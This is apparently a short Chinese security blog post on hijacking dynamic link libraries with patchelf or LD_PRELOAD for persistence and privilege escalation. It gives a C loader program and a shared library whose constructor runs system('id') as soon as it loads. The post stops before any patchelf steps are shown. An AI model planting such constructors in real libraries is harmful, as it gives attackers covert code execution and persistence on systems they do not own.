patchelf劫持动态链接库实现权限维持和权限提升
前言:patch 动态链接库权限维持
参考文章:https://github.com/NixOS/patchelf
参考文章:https://xz.aliyun.com/t/13671
LD_PRELOAD

实验模拟
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <shared_library>\n", argv[0]);
exit(EXIT_FAILURE);
}
// 尝试打开共享库,并使用 RTLD_LAZY 模式
void *handle = dlopen(argv[1], RTLD_LAZY);
if (!handle) {
fprintf(stderr, "Cannot load library: %s\n", dlerror());
exit(EXIT_FAILURE);
}
// 清除任何可能存在的错误信息
dlerror();
// 假设我们要调用的函数名为 'example_function'
// 并且它的原型是 'void example_function(void);'
typedef void (*example_function_t)(void);
example_function_t func = (example_function_t)dlsym(handle, "example_function");
const char *dlsym_error = dlerror();
if (dlsym_error) {
fprintf(stderr, "Cannot load symbol 'example_function': %s\n", dlsym_error);
dlclose(handle);
exit(EXIT_FAILURE);
}
// 调用函数
func();
// 关闭共享库
dlclose(handle);
return 0;
}
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
__attribute__ ((__constructor__)) void preload (void){
system("id");</font>
}

浙公网安备 33010602011771号